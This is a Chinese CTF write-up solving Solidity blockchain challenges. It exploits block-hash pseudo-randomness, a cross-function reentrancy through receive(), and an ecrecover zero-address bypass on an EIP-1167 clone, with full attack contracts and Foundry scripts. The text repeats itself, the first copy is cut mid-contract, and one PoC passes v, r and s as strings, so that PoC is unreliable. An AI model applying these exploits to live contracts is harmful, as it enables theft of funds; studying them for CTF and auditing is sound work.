极客大挑战wp

Q1ngying
更新于 2024-11-21 21:47
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极客大挑战 Misc-区块链 wp（Mixture，guess_signature）

## Mixture
这道题实际上是两道题，分别解完得到 flag 后紧密编码然后得到 sha256 哈希，套壳提交。
### easy
一个十分简单的伪随机数利用（篇幅不大，完整源码直接放这了）：
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

contract easy {
    mapping(address => bool) public flag;
    uint256 random;

constructor(uint256 _random) {
        uint256 random = _random;
    }

function only_Member_Know_Secret(uint256 number) public returns (bool) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        return number == random + (uint256(uint160(msg.sender)) + random_middle);
    }

function get_your_flag(uint256 number) public returns (bool) {
        require(only_Member_Know_Secret(number), "You cannot pass through here due to permission issues");
        flag[msg.sender] = true;
        return true;
    }

function check(address addr) external view returns (bool) {
        return flag[addr];
    }
}
```

写一个攻击合约，按照其逻辑构造我们的输出。（这道题应该是出了点问题，在构造函数中 random发生了变量遮盖，状态变量 random没有成功赋值，按理来讲应该是要赋值的。~~我最开始想试试别的方法，直接区块链浏览器查构造函数参数，后来使用cast storage验证的时候发现竟然是0，意识到了发生了变量遮盖，而且后面那个合约犯了一样的毛病（？~~）
```solidity
contract Hack1 {
    // uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
    // return number == random + (uint256(uint160(msg.sender)) + random_middle);

function getNumber() public view returns (uint256) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        uint256 number = (uint256(uint160(address(this)))) + random_middle;
        return number;
    }

![image.png](https://img.learnblockchain.cn/attachments/2024/11/yeuL40zZ673f3891a16b5.png)

在调用 `emergency_deal_with_your_token` 的过程中，首先协议给了我们 1 ether 的 token，然后合约计算，触发了 `msg.sender` 的 `receive()` 函数。此时接着执行 `msg.sender:receive()` 的逻辑。调用`get_your_flag` 完成题目。（因为此时没有 `burn` 系统给我们的 token）
```solidity
contract Hack2 {
    setup target;

constructor(address _target) {
        target = setup(_target);
    }

function pwn() external {
        target.register();
        target.emergency_deal_with_your_token(0);
        require(target.check(address(this)), "contract2 Hack Failed");
    }

receive() external payable {
        target.get_your_flag(address(this));
    }
}
```
### PoC
完整 PoC：
```solidity
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.24;

import {Script, console2} from "forge-std/Script.sol";
import {easy} from "../src/1.sol";
import {setup} from "../src/2.sol";

contract Attack is Script {
    function run() external {
        address contract1 = 0xA6c32E00CA2E1F9dD6F376c2C4B6290F786A3582;
        address contract2 = 0x158018fB187206a7311b20c6b90057Fd54918ec2;

vm.startBroadcast();

Hack1 hack1 = new Hack1();
        hack1.attack(contract1);
        console2.log("Hack1 addr: ", address(hack1));

Hack2 hack2 = new Hack2(contract2);
        hack2.pwn();
        console2.log("Hack2 addr: ", address(hack2));

vm.stopBroadcast();
    }
}

contract Hack1 {
    // uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
    // return number == random + (uint256(uint160(msg.sender)) + random_middle);

function attack(address _target) public {
        easy target = easy(_target);
        target.get_your_flag(getNumber());
        require(target.check(address(this)), "easy Hack Failed.");
    }
}

contract Hack2 {
    setup target;

constructor(address _target) {
        target = setup(_target);
    }

function pwn() external {
        target.register();
        target.emergency_deal_with_your_token(0);
        require(target.check(address(this)), "contract2 Hack Failed");
    }

receive() external payable {
        target.get_your_flag(address(this));
    }
}
```

## guess_signature
看题目名称和 hint，感觉这道题应该是围绕签名 signature 来展开的，看了源码发现也用到了 EIP1167 最小代理合约。
源码：
```solidity
// guesssignature.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

//address = 0x02C13DB057aA0162B705fd068aF04Fa75a6CC8E8

contract guesssignature {
    address public owner;
    mapping(address => bool) flag;

constructor() {
        owner = msg.sender;
    }

function verifySignature(string memory message, uint8 v, bytes32 r, bytes32 s) public {
        bytes32 messageHash = keccak256(abi.encodePacked(message));
        address recoveredAddress = ecrecover(messageHash, v, r, s);

if (recoveredAddress == owner) {
            flag[msg.sender] = true;
        }
    }

function check(address add) external view returns (bool) {
        return flag[add];
    }
}

// VaultFactory.sol
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/proxy/Clones.sol";
import "./guesssignature.sol";

//address = 0x9cB5b263528955041Bf5550912e7B8b1A7De97B5

contract VaultFactory {
    address public immutable guess;
    address proxy; // == 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e
    uint256 a = 0;
    bool target;

constructor() {
        guess = address(new guesssignature());
    }

//EIP1167最小代理合约
    function createVault() external returns (address d) {
        //只能部署一个最小代理合约，address = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e

require(a == 0, " ");
        a++;
        proxy = Clones.clone(guess);

return proxy;
    }

function checkproxy() external view returns (address) {
        return proxy;
    }

function check(address addr) external view returns (bool) {
        require(proxy != address(0), "Proxy address not set");

bytes memory payload = abi.encodeWithSignature("check(address)", addr);

(bool success, bytes memory returnData) = proxy.staticcall(payload);
        require(success, "External call failed");

require(returnData.length == 32, "Unexpected return data size");

return abi.decode(returnData, (bool));
    }
}
```
`guesssignature` 合约是由 `VaultFactory` 合约在构造函数中创建的，所以 `guesssignature` 的 `owner` 和 `VaultFactory` 合约的部署者相同，都是最开始的 EOA 账户（对于这道题来说，不重要）
`VaultFactory` 使用 openzeppelin 安全库的最小代理合约，为 `guesssignature` 创建了代理合约。这道题交互的 `check()` 函数是 `VaultFactory` 合约，而不是 `guesssignature` 合约。换句话说，我们的攻击逻辑应该是针对代理合约，而不是 `guesssignature` 合约。

关于最小代理合约（EIP1167）：
-  代理合约的构造函数状态变量会被初始化为默认值 
-  owner 将被初始化为address(0)

这是因为：代理合约只是复制了实现合约的 `runtimeCode`，不会执行构造函数。
所以现在的问题是：代理合约 `owner == address(0)`，也就是说，我们现在只需让 `ecrecover` 还原出来的 `owner` 为零地址即可。
> 需要注意：`ecrecover` 在尝试还原签名时出现错误时，会静默失败，不会导致调用回滚，而是还原出来的地址为 `0` 地址。所以现在的问题就很简单了。我们只需随意构建一个签名（`v` 值需要为 `27`，这是以太坊的恢复标识符）

message: 任意字符串(因为我们只关心最终的签名验证)
v: 27
r: 0x0000000000000000000000000000000000000000000000000000000000000000
s: 0x0000000000000000000000000000000000000000000000000000000000000000
### Poc
```solidity
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {VaultFactory} from "../src/VaultFactory.sol";

contract Attack is Script {
    function run() external {
        vm.startBroadcast();
        Hack hack = new Hack();
        hack.pwn();
        vm.stopBroadcast();
    }
}

contract Hack {
    function pwn() external {
        address proxy = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e;
        (bool success,) = proxy.call(
            abi.encodeWithSignature(
                "verifySignature(string,uint8,bytes32,bytes32)",
                "",
                "27",
                "0x0000000000000000000000000000000000000000000000000000000000000000",
                "0x0000000000000000000000000000000000000000000000000000000000000000"
            )
        );
        require(success, "verifySignature call failed");
        require(VaultFactory(proxy).check(address(this)), "Hack Failed");
    }
}
```

Mixture

这道题实际上是两道题，分别解完得到 flag 后紧密编码然后得到 sha256 哈希，套壳提交。

easy

一个十分简单的伪随机数利用（篇幅不大，完整源码直接放这了）：

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

contract easy {
    mapping(address => bool) public flag;
    uint256 random;

    constructor(uint256 _random) {
        uint256 random = _random;
    }

    function only_Member_Know_Secret(uint256 number) public returns (bool) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        return number == random + (uint256(uint160(msg.sender)) + random_middle);
    }

    function get_your_flag(uint256 number) public returns (bool) {
        require(only_Member_Know_Secret(number), "You cannot pass through here due to permission issues");
        flag[msg.sender] = true;
        return true;
    }

    function check(address addr) external view returns (bool) {
        return flag[addr];
    }
}

写一个攻击合约，按照其逻辑构造我们的输出。（这道题应该是出了点问题，在构造函数中 random发生了变量遮盖，状态变量 random没有成功赋值，按理来讲应该是要赋值的。我最开始想试试别的方法，直接区块链浏览器查构造函数参数，后来使用cast storage验证的时候发现竟然是0，意识到了发生了变量遮盖，而且后面那个合约犯了一样的毛病（？）

contract Hack1 {
    // uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
    // return number == random + (uint256(uint160(msg.sender)) + random_middle);

    function getNumber() public view returns (uint256) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        uint256 number = (uint256(uint160(address(this)))) + random_middle;
        return number;
    }

    function attack(address _target) public {
        easy target = easy(_target);
        target.get_your_flag(getNumber());
        require(target.check(address(this)), "easy Hack Failed.");
    }
}

hard

关于这个合约，最开始我认为是精度的问题，搞了半天发现，精度不会影响我们 ERC20 token 的数量。合约的逻辑也不是很多。后来我尝试传入超过我们余额的 amount，尝试 _burn来实现溢出，但是 openzeppelin 库这里是避免了溢出的。问了下 gpt，gpt 说是重入（？）但是有重入锁，按理来讲不应该是重入（在这里我意识到了 receive）实际上这道题的问题和重入漏洞的根本问题一样：状态变量的更新不及时。(跨函数重入) 主要问题在emergency_deal_with_your_token函数中（完整源码放在最后）

function emergency_deal_with_your_token(uint256 amount) public nonReentrant returns (bool) {
    this.transfer(msg.sender, 1 ether);
    require(this.balanceOf(msg.sender) >= amount, "No money");
    uint256 ten_percent = amount / 10;
    if (address(this).balance &lt;= amount * rate_from_this_token_to_ETH * ten_percent) {
        payable(address(msg.sender)).call{value: payable(address(this)).balance}("");
    } else {
        payable(address(msg.sender)).call{value: amount * rate_from_this_token_to_ETH * ten_percent}("");
    }
    _burn(msg.sender, amount + 1 ether);
    return true;
}

问题在于：5-9 行实际上有一步外部调用（触发 msg.sender 的 receive 函数）。当我们的 ERC20 balance >1 时即可获得 flag，所以：如果我们在攻击合约的 receive 函数中调用 get_your_flag 函数，由于此时系统给我们的 token 还没有被 burn，我们的 balance 是大于 1 的。究其根本，漏洞的成因还是：状态变量的更新不及时导致的。通过我们攻击合约的火焰图可以直观的看到这个过程：

在调用 emergency_deal_with_your_token 的过程中，首先协议给了我们 1 ether 的 token，然后合约计算，触发了 msg.sender 的 receive() 函数。此时接着执行 msg.sender:receive() 的逻辑。调用get_your_flag 完成题目。（因为此时没有 burn 系统给我们的 token）

contract Hack2 {
    setup target;

    constructor(address _target) {
        target = setup(_target);
    }

    function pwn() external {
        target.register();
        target.emergency_deal_with_your_token(0);
        require(target.check(address(this)), "contract2 Hack Failed");
    }

    receive() external payable {
        target.get_your_flag(address(this));
    }
}

PoC

完整 PoC：

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.24;

import {Script, console2} from "forge-std/Script.sol";
import {easy} from "../src/1.sol";
import {setup} from "../src/2.sol";

contract Attack is Script {
    function run() external {
        address contract1 = 0xA6c32E00CA2E1F9dD6F376c2C4B6290F786A3582;
        address contract2 = 0x158018fB187206a7311b20c6b90057Fd54918ec2;

        vm.startBroadcast();

        Hack1 hack1 = new Hack1();
        hack1.attack(contract1);
        console2.log("Hack1 addr: ", address(hack1));

        Hack2 hack2 = new Hack2(contract2);
        hack2.pwn();
        console2.log("Hack2 addr: ", address(hack2));

        vm.stopBroadcast();
    }
}

contract Hack1 {
    // uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
    // return number == random + (uint256(uint160(msg.sender)) + random_middle);

    function getNumber() public view returns (uint256) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        uint256 number = (uint256(uint160(address(this)))) + random_middle;
        return number;
    }

    function attack(address _target) public {
        easy target = easy(_target);
        target.get_your_flag(getNumber());
        require(target.check(address(this)), "easy Hack Failed.");
    }
}

contract Hack2 {
    setup target;

    constructor(address _target) {
        target = setup(_target);
    }

    function pwn() external {
        target.register();
        target.emergency_deal_with_your_token(0);
        require(target.check(address(this)), "contract2 Hack Failed");
    }

    receive() external payable {
        target.get_your_flag(address(this));
    }
}

guess_signature

看题目名称和 hint，感觉这道题应该是围绕签名 signature 来展开的，看了源码发现也用到了 EIP1167 最小代理合约。源码：

// guesssignature.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

//address = 0x02C13DB057aA0162B705fd068aF04Fa75a6CC8E8

contract guesssignature {
    address public owner;
    mapping(address => bool) flag;

    constructor() {
        owner = msg.sender;
    }

    function verifySignature(string memory message, uint8 v, bytes32 r, bytes32 s) public {
        bytes32 messageHash = keccak256(abi.encodePacked(message));
        address recoveredAddress = ecrecover(messageHash, v, r, s);

        if (recoveredAddress == owner) {
            flag[msg.sender] = true;
        }
    }

    function check(address add) external view returns (bool) {
        return flag[add];
    }
}

// VaultFactory.sol
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/proxy/Clones.sol";
import "./guesssignature.sol";

//address = 0x9cB5b263528955041Bf5550912e7B8b1A7De97B5

contract VaultFactory {
    address public immutable guess;
    address proxy; // == 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e
    uint256 a = 0;
    bool target;

    constructor() {
        guess = address(new guesssignature());
    }

    //EIP1167最小代理合约
    function createVault() external returns (address d) {
        //只能部署一个最小代理合约，address = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e

        require(a == 0, " ");
        a++;
        proxy = Clones.clone(guess);

        return proxy;
    }

    function checkproxy() external view returns (address) {
        return proxy;
    }

    function check(address addr) external view returns (bool) {
        require(proxy != address(0), "Proxy address not set");

        bytes memory payload = abi.encodeWithSignature("check(address)", addr);

        (bool success, bytes memory returnData) = proxy.staticcall(payload);
        require(success, "External call failed");

        require(returnData.length == 32, "Unexpected return data size");

        return abi.decode(returnData, (bool));
    }
}

guesssignature 合约是由 VaultFactory 合约在构造函数中创建的，所以 guesssignature 的 owner 和 VaultFactory 合约的部署者相同，都是最开始的 EOA 账户（对于这道题来说，不重要） VaultFactory 使用 openzeppelin 安全库的最小代理合约，为 guesssignature 创建了代理合约。这道题交互的 check() 函数是 VaultFactory 合约，而不是 guesssignature 合约。换句话说，我们的攻击逻辑应该是针对代理合约，而不是 guesssignature 合约。

关于最小代理合约（EIP1167）：

代理合约的构造函数状态变量会被初始化为默认值
owner 将被初始化为address(0)

这是因为：代理合约只是复制了实现合约的 runtimeCode，不会执行构造函数。所以现在的问题是：代理合约 owner == address(0)，也就是说，我们现在只需让 ecrecover 还原出来的 owner 为零地址即可。

需要注意：ecrecover 在尝试还原签名时出现错误时，会静默失败，不会导致调用回滚，而是还原出来的地址为 0 地址。所以现在的问题就很简单了。我们只需随意构建一个签名（v 值需要为 27，这是以太坊的恢复标识符）

Poc

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {VaultFactory} from "../src/VaultFactory.sol";

contract Attack is Script {
    function run() external {
        vm.startBroadcast();
        Hack hack = new Hack();
        hack.pwn();
        vm.stopBroadcast();
    }
}

contract Hack {
    function pwn() external {
        address proxy = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e;
        (bool success,) = proxy.call(
            abi.encodeWithSignature(
                "verifySignature(string,uint8,bytes32,bytes32)",
                "",
                "27",
                "0x0000000000000000000000000000000000000000000000000000000000000000",
                "0x0000000000000000000000000000000000000000000000000000000000000000"
            )
        );
        require(success, "verifySignature call failed");
        require(VaultFactory(proxy).check(address(this)), "Hack Failed");
    }
}

原创
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极客大挑战wp

Mixture

easy

hard

PoC

guess_signature

Poc

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